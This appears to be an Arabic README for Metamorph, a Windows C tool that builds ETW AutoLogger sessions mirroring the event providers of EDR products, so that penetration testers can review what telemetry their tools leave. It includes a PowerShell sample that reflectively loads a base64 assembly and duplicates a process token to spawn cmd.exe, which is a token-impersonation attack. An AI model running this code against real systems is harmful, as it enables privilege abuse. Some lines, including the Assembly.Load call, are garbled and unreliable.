
أداة سطر أوامر لنظام Windows مكتوبة بلغة C تقوم بإنشاء وتهيئة جلسات AutoLogger ثابتة لتتبع الأحداث في Windows (ETW).
هذه الأداة هي أداة مساعدة لسطر الأوامر لنظام ويندوز مكتوبة بلغة C، تقوم بإنشاء وتهيئة جلسات AutoLogger الثابتة لتتبع أحداث ويندوز (ETW). تبدأ جلسات AutoLogger تلقائيًا بتتبع مزوّدي ETW محددين عند إقلاع النظام، مما يجعلها مفيدة لالتقاط الأحداث التي تحدث في مرحلة مبكرة من عملية الإقلاع أو لسيناريوهات المراقبة المستمرة.
تتيح هذه الأداة اختيار قوائم محددة مسبقًا من مزوّدي ETW المرتبطين بمنتجات EDR معروفة لتضمينها في جلسة AutoLogger عبر وسائط سطر الأوامر. كما تقوم بدمج الإعدادات إذا كان المزوّد نفسه مشمولًا في أكثر من قائمة مختارة، مما يضمن استخدام أعلى مستوى تسجيل ودمج علامات الكلمات المفتاحية بشكل مناسب لتحقيق أقصى تغطية للأحداث بناءً على القوائم المحددة.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph).-Defender, -Crowdstrike, -MDE, -Sentinelone, -Cortex).-All).-noisy)Level محدد بين جميع التكرارات لمزوّد معين.MatchAnyKeyword باستخدام OR على مستوى البت من جميع التكرارات (بغض النظر عن المستوى) لضمان أوسع تغطية للكلمات المفتاحية.MatchAllKeyword من إدخال الإعداد الذي قدّم أعلى مستوى.تحتاج إلى مترجم C، مثل المترجم المرفق مع Visual Studio.
لا توجد استيرادات غير قياسية، لذا يجب أن يكون التجميع باستخدام Cl ممكنًا دون عناء كبير.
مهم: تعدّل هذه الأداة سجل ويندوز (HKEY_LOCAL_MACHINE) ولذلك تتطلب صلاحيات المسؤول (Administrator) لتعمل بشكل صحيح.
.\Metamorph.exe <options>
# Enable only providers from Defender
.\Metamorph.exe -Defender
# Enable providers from Defender and MDE, merging duplicates
.\Metamorph.exe -Defender -MDE
# Enable all providers from all engines, merging duplicates
.\Metamorph.exe -All
# Enabling one provider, also with noisy ones, because why not filling disk space after all?
.\Metamorph.exe -All -noisy
بعد التهيئة، يجب إعادة تشغيل النظام لبدء تشغيل المزوّد المُسجَّل حديثًا.
لتنظيف هذا المزوّد، يجب على المستخدم:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph)يوفر ETW رؤية عميقة في أحداث وقت التشغيل. يمكن استغلال ذلك لكشف الأنشطة المشبوهة المحتملة التي قد تشير إلى نشاط برمجيات خبيثة أو تقنيات إخفاء. بمجرد التثبيت، يجب أن توفر المزوّدات نفس مستوى تتبع "سجل الأحداث" الذي يوفره حل EDR "المُستنسخ". يجب أن يسهّل ذلك البحث عن مؤشرات الاختراق (IOC) التي قد تتركها الأدوات الداخلية.
بعد إعادة تشغيل النظام وتشغيل التطبيقات ذات الاهتمام، سيحتوي ملف .etl (مثل Metamorph.etl) على الأحداث الملتقطة.
يمكن استيعاب الملف المُنشأ (C:\Windows\System32\LogFiles\WMI\Metamorph.etl.00x) بواسطة عدة أدوات عامة مثل:
ملاحظة مهمة: يستخدم Metamorph ملفات سجل دائرية لتجنب فقدانه عن طريق الخطأ بعد إعادة التشغيل، ولكن بعض الأدوات تحتاج إلى أن ينتهي الملف بالامتداد .etl، لذا ستحتاج إلى إزالة اللاحقة قبل الاستخدام.
أيضًا، من الممكن أساسًا تحويل ملف .etl إلى ملف CSV للبحث السريع:
tracerpt MyKeywordMergedETWLogger.etl -o logdump.csv -of CSV
لنفترض أن لدينا برنامج PowerShell التالي الذي يقوم بتحميل ملف باستخدام Assembly.Load:
[Reflection.Assembly]:https://raw.githubusercontent.com/synacktiv/metamorph/HEAD/:Load(%5BSystem.Convert%5D::FromBase64String(%22TVqQAAMAAAAEAAAA/8AALgAAAAAAAAAQAAAAAA%5B...%5DAAAAAAAAAAAAA%22))
#Récupération du handle sur le process cible
$ProcessDesiredAccess = 0x00000400
$InheritHandle = 0
$ProcessId = $PID
$hProcess = [api32.run]::OpenProcess($ProcessDesiredAccess, $InheritHandle, $ProcessId)
if($hProcess -eq 0){ Write-Output "OpenProcess Error" }
#Récupération du handle sur le token du process cible
$hToken = [IntPtr]::Zero
$TokenDesiredAccess = 0x00000006
$Success = [api32.run]::OpenProcessToken($hProcess, $TokenDesiredAccess, [ref]$hToken)
if(-not $Success){ Write-Output "OpenProcessToken Error" }
#Duplication du token
$DesiredAccess = 0x10000000
$SecurityAttribute = New-Object api32.run+_SECURITY_ATTRIBUTES
$SecurityAttribute.lpSecurityDescriptor = [IntPtr]::Zero
$SecurityAttribute.bInheritHandle = $true
$ImpersonationLevel = 3
$TokenType = 1
$hDuplicatedToken = [IntPtr]::Zero
$Success = [api32.run]::DuplicateTokenEx($hToken, $DesiredAccess,[ref]$SecurityAttribute, $ImpersonationLevel, $TokenType,[ref]$hDuplicatedToken)
if(-not $Success) { Write-Debug "DuplicateTokenEx Error" }
#Creation du cmd avec le token dupliqué
$LogonFlags = 0
$ApplicationName = "cmd.exe"
$CommandLine = "/K whoami /all"
$CreationFlags = 0x00000010
$Environnement = [IntPtr]::Zero
$CurrentDirectory = "c:\windows\system32"
$StartUpinformation = New-Object api32.run+STARTUPINFOA
$ProcessInformation = New-Object api32.run+_PROCESS_INFORMATION
$Success = [api32.run]::CreateProcessWithTokenW($hDuplicatedToken, $LogonFlags,$ApplicationName, $CommandLine, $CreationFlags, $Environnement, $CurrentDirectory, [ref]$StartUpinformation,[ref]$ProcessInformation)
if(-not $Success) { Write-Debug "CreateProcessWithTokenW Error" }
يقوم هذا السكربت أساسًا بتنفيذ هجوم مشابه لما يمكن أن ينفذه أداة impersonate.exe.




في النهاية، تتاح لـ EDR والمحللين فرصة إجراء تحليل التوقيعات استنادًا إلى AssemblyName للملفات الثنائية المعروفة (مثل: "Rubeus")، وبخلاف ذلك، لديهم إمكانية استرجاع سكربتات PowerShell (بما في ذلك التعليقات) لتحليل ما بعد الحادث.
إذا وجدت هذه الأداة مفيدة، يمكنك إضافة حلولك الخاصة (أو حلول أخرى) باتباع التعليمات في CONTRIBUTING.md. سأحاول تحديثها بانتظام، ولكن نظرًا لأنها ستعتمد كليًا على الحلول التي يتم مواجهتها أثناء اختبارات الاختراق، فلا تتردد في إنشاء طلب سحب (PR) إذا أردت أن تكون تغييراتك متاحة للجميع.